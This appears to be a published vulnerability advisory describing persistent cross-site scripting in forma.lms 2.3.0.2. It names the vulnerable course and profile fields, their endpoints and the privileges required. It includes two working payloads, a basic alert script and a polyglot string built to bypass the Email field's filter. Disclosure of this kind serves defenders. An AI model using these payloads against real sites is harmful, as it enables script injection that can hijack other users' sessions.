Forma.LMS The E-Learning Suite 2.3.0.2 Cross Site Scripting

2020.05.19
Credit: Daniel Ortiz
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79

# Exploit Title: forma.lms The E-Learning Suite 2.3.0.2 - Persistent Cross-Site Scripting # Date: 2020-05-15 # Exploit Author: Daniel Ortiz # Vendor Homepage: https://sourceforge.net/projects/forma/ # Software link: https://sourceforge.net/projects/forma/files/latest/download # Tested on: XAMPP for Linux 64bit 5.6.40-0 ## 1 -Course Module - Vulnerable parameter: course_code, course_name, course_box_descr, course_descr - Payload: <SCRIPT>alert('XSS');</SCRIPT> - Details: There is no control or security mechanism on this field. Specials characters are not encoded or filtered. - Privileges: It requires admin. - Location: Admin Area > E-learning > Courses > Courses > Edit Course - Endopoint: /formalms/appCore/index.php?r=alms/course/modcourse ## 1 -Profile Module - Vulnerable parameter: Email - Payload: <div>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onmouseover=alert('xss') )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</div> - Details: There is some control on this field but can bypassed. - Privileges: Do not requires admin or student account. - Location: My Profile > Edit > Put the payload in Email field. - Endpoint: /formalms/appLms/index.php?r=lms/profile/show&ap=saveinfo


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